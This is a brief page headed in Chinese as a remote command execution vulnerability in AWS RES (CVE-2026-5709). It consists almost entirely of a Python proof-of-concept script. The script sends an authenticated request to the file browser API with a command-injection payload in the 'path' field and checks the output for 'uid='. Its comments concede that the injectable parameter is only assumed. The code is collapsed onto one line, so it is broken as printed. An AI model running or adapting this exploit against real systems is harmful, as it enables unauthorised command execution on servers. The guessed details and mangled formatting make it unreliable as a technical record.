CVE-2026-5709 AWS RES远程命令执行漏洞

import requests # Target URL of the vulnerable AWS RES instance target_url = "https://<target-res-domain>/api/filebrowser" # Valid session cookie for a low-privileged authenticated user session_cookie = "<valid_session_id>" # Headers headers = { "Content-Type": "application/json", "Cookie": f"session={session_cookie}" } # Malicious payload attempting command injection # Assuming the vulnerable parameter is 'path' or similar based on file browser context payload = { "action": "read", "path": "/opt/aws/res; id; #" # Injection payload to execute 'id' command } try: response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) # Check if command execution output (e.g., 'uid=') is present if "uid=" in response.text or "gid=" in response.text: print("[!] Command Injection Vulnerability Confirmed!") else: print("[-] Vulnerability not triggered or output not reflected.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")